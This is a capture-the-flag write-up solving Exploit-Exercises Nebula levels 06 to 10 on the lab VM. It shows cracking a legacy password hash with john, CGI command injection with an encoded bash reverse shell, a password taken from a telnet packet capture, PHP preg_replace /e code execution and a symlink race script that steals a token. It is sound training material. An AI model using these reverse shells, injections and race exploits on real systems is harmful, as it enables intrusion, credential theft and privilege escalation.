Exploit-Exercises: Nebula (06-10)
Image: Exploit-Exercises: Nebula (v5)
Level06
From the assignment “The flag06 account credentials came from a legacy unix system” we conclude that the password is stored in /etc/passwd.
level06@nebula:/home/flag06$ grep flag06 /etc/passwd
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
We store credentials to /tmp/hash.txt and use john:
level06@nebula:/home/flag06$ john /tmp/hash.txt
Created directory: /home/level06/.john
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
hello (flag06)
guesses: 1 time: 0:00:00:00 100% (2) c/s: 75300 trying: 12345 - biteme
Use the "--show" option to display all of the cracked passwords reliably
Now we can log using ‘hello’ password:
level06@nebula:/home/flag06$ su - flag06
Password:
flag06@nebula:~$ getflag
You have successfully executed getflag on a target account
Level07
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
The configuration file is stored in ‘/home/flag07/thttpd.conf’.
Because there is no input validation, we have RCE:
level07@nebula:~$ wget -qO- "http://127.0.0.1:7007/index.cgi?Host=127.0.0.1"
<html><head><title>Ping results</title></head><body><pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.009 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.022 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.023 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.009/0.018/0.023/0.006 ms
</pre></body></html>
level07@nebula:~$ wget -qO- "http://127.0.0.1:7007/index.cgi?Host=127.0.0.1+%3b+id"
<html><head><title>Ping results</title></head><body><pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.012 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.022 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.027 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.012/0.020/0.027/0.007 ms
uid=992(flag07) gid=992(flag07) groups=992(flag07)
Inspired by Reverse Shell Cheat Sheet
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
we can create reverse shell on port 1337 via bash, using ruby to encode our payload:
sh-4.2$ nc -l 1337
sh-4.2$ ruby -e "print 'http://nebula:7007/index.cgi?Host=' + '127.0.0.1;bash -i >& /dev/tcp/127.0.0.1/1337 0>&1;'.split(//).map{|x| '%' + x.ord.to_s(16)}.join + \"\n\""
http://nebula:7007/index.cgi?Host=%31%32%37%2e%30%2e%30%2e%31%3b%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%32%37%2e%30%2e%30%2e%31%2f%31%33%33%37%20%30%3e%26%31%3b
sh-4.2$ wget -qO- "http://nebula:7007/index.cgi?Host=%31%32%37%2e%30%2e%30%2e%31%3b%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%32%37%2e%30%2e%30%2e%31%2f%31%33%33%37%20%30%3e%26%31%3b"
<html><head><title>Ping results</title></head><body><pre>
In the window with nc, we got:
flag07@nebula:/home/flag07$ id
id
uid=992(flag07) gid=992(flag07) groups=992(flag07)
flag07@nebula:/home/flag07$ getflag
getflag
You have successfully executed getflag on a target account
Level08
level08@nebula:/home/flag08$ tcpick -C -yU -r capture.pcap
Starting tcpick 0.2.1 at 2015-06-17 05:20 PDT
Timeout for connections is 600
tcpick: reading from capture.pcap
1 SYN-SENT 59.233.235.218:39247 > 59.233.235.223:12121
1 SYN-RECEIVED 59.233.235.218:39247 > 59.233.235.223:12121
1 ESTABLISHED 59.233.235.218:39247 > 59.233.235.223:12121
<ff><fd>%
<ff><fc>%
<ff><fb>&<ff><fd><18><ff><fd> <ff><fd>#<ff><fd>'<ff><fd>$
<ff><fe>&<ff><fb><18><ff><fb> <ff><fb>#<ff><fb>'<ff><fc>$
<ff><fa> <01><ff><f0><ff><fa>#<01><ff><f0><ff><fa>'<01><ff><f0><ff><fa><18><01><ff><f0>
<ff><fa> <00>38400,38400<ff><f0><ff><fa>#<00>SodaCan:0<ff><f0><ff><fa>'<00><00>DISPLAY<01>SodaCan:0<ff><f0><ff><fa><18><00>xterm<ff><f0>
<ff><fb><03><ff><fd><01><ff><fd>"<ff><fd><1f><ff><fb><05><ff><fd>!
<ff><fd><03><ff><fc><01><ff><fb>"<ff><fa>"<03><01><00><00><03>b<03><04><02><0f><05><00><00><07>b<1c><08><02><04> B<1a>
<02><7f><0b><02><15><0f><02><11><10><02><13><11><02><ff><ff><12><02><ff><ff><ff><f0><ff><fb><1f><ff><fa><1f><00><b1><00>1<ff><f0><ff><fd><05><ff><fb>!
<ff><fa>"<01><03><ff><f0>
<ff><fa>"<01><07><ff><f0>
<ff><fa>!<03><ff><f0><ff><fb><01><ff><fd><00><ff><fe>"
<ff><fd><01><ff><fb><00><ff><fc>"
<ff><fa>"<03><03><e2><03><04><82><0f><07><e2><1c><08><82><04> <c2><1a>
<82><7f><0b><82><15><0f><82><11><10><82><13><11><82><ff><ff><12><82><ff><ff><ff><f0>
Linux 2.6.38-8-generic-pae (::ffff:10.1.1.2) (pts/10)
<01><00>wwwbugs login:
l
<00>l
e
<00>e
v
<00>v
e
<00>e
l
<00>l
8
<00>8
<01>
<00>
Password:
b
a
c
k
d
o
o
r
<7f>
<7f>
<7f>
0
0
R
m
8
<7f>
a
t
e
<00>
<01>
<00>
Login incorrect
wwwbugs login:
1 FIN-WAIT-1 59.233.235.218:39247 > 59.233.235.223:12121
1 TIME-WAIT 59.233.235.218:39247 > 59.233.235.223:12121
1 CLOSED 59.233.235.218:39247 > 59.233.235.223:12121
tcpick: done reading from capture.pcap
95 packets captured
1 tcp sessions detected
We can see from the output above that 0x7f represents delete keystore, so the password we are looking for is ‘backd00Rmate’
level08@nebula:/home/flag08$ su flag08
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
Level09
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
Because the flag09 binary is interpreted via php shell, there is a trivial solution:
level09@nebula:/home/flag09$ ./flag09 -h
Usage: php [options] [-f] <file> [--] [args...]
php [options] -r <code> [--] [args...]
php [options] [-B <begin_code>] -R <code> [-E <end_code>] [--] [args...]
php [options] [-B <begin_code>] -F <file> [-E <end_code>] [--] [args...]
php [options] -- [args...]
php [options] -a
-a Run as interactive shell
-c <path>|<file> Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f <file> Parse and execute <file>.
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-r <code> Run PHP <code> without using script tags <?..?>
-B <begin_code> Run PHP <begin_code> before processing input lines
-R <code> Run PHP <code> for every input line
-F <file> Parse and execute <file> for every input line
-E <end_code> Run PHP <end_code> after processing all input lines
-H Hide any passed arguments from external tools.
-s Output HTML syntax highlighted source.
-v Version number
-w Output source with stripped comments and whitespace.
-z <file> Load Zend extension <file>.
args... Arguments passed to script. Use -- args when first argument
starts with - or script is read from stdin
--ini Show configuration file names
--rf <name> Show information about function <name>.
--rc <name> Show information about class <name>.
--re <name> Show information about extension <name>.
--ri <name> Show configuration for extension <name>.
level09@nebula:/home/flag09$ ./flag09 -a
Interactive shell
php > system('id');
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
php > system('getflag');
You have successfully executed getflag on a target account
Second way how to solve this challenge is to use PCRE pattern modifiers vulnerability in PREG_REPLACE_EVAL.
sh-4.2$ cat /tmp/09
[email bla@blabla.com]
sh-4.2$ ./flag09 /tmp/09 testing
bla AT blabla dot com
Because we cannot use quotes, we can inject something with complex (curly) syntax, that could be used for strings representation.
sh-4.2$ cat /tmp/09
[email {${phpinfo()}}]
sh-4.2$ ./flag09 /tmp/09 | head
PHP Notice: Undefined offset: 2 in /home/flag09/flag09.php on line 22
phpinfo()
PHP Version => 5.3.6-13ubuntu3.2
System => Linux nebula 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686
Build Date => Oct 13 2011 23:17:32
Server API => Command Line Interface
Virtual Directory Support => disabled
Configuration File (php.ini) Path => /etc/php5/cli
Loaded Configuration File => /etc/php5/cli/php.ini
Scan this dir for additional .ini files => /etc/php5/cli/conf.d
Here the second argument $use_me is invoked:
sh-4.2$ cat /tmp/09
[email {${system($use_me)}}]
sh-4.2$ ./flag09 /tmp/09 getflag
You have successfully executed getflag on a target account
PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1
Actually, I have found the third solution without using $use_me parameter, but recycling $filename:
sh-4.2$ cat /tmp/09
[email {${system($filename)}}]
/bin/sh
sh-4.2$ chmod +x /tmp/09
sh-4.2$ id
uid=1010(level09) gid=1010(level09) groups=1010(level09)
sh-4.2$ /home/flag09/flag09 /tmp/09
PHP Notice: Undefined offset: 2 in /home/flag09/flag09.php on line 22
/tmp/09: line 1: {${system($filename)}}]: bad substitution
sh-4.2$ id
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Level10
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
What to do is immediately clear, there is a race condition in the code, after we call access() to some file, it could be different file with the same name, which we are trying to open.
man 2 access
Warning: Using access() to check if a user is authorized to, for example, open
a file before actually doing so using open(2) creates a security hole, because
the user might exploit the short time interval between checking and opening the
file to manipulate it. For this reason, the use of this system call should be
avoided.
So /home/flag10/flag10 binary sends arbitrary file with access() permission to some host, port 18211.
We can test it in two screens using:
sh-4.2$ nc -l 18211
sh-4.2$ /home/flag10/flag10 /etc/passwd 0
Our exploit:
#!/usr/bin/env bash
run_netcat() {
while :; do nc -l 18211; done
}
make_symlinks() {
while :; do ln -sf /dev/null /tmp/token ; ln -sf /home/flag10/token /tmp/token; done
}
run_flag() {
while :; do /home/flag10/flag10 /tmp/token 0 >/dev/null 2>&1 ; done
}
run_netcat &
make_symlinks &
run_flag &
sleep 0.05
pkill -P $$ # Kill all children
sh-4.2$ ./mklink.sh
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
./mklink.sh: line 20: 31349 Terminated run_netcat
./mklink.sh: line 20: 31350 Terminated make_symlinks
./mklink.sh: line 20: 31351 Terminated run_flag
sh-4.2$ su flag10
Password:
sh-4.2$ id
uid=989(flag10) gid=989(flag10) groups=989(flag10)
sh-4.2$ getflag
You have successfully executed getflag on a target account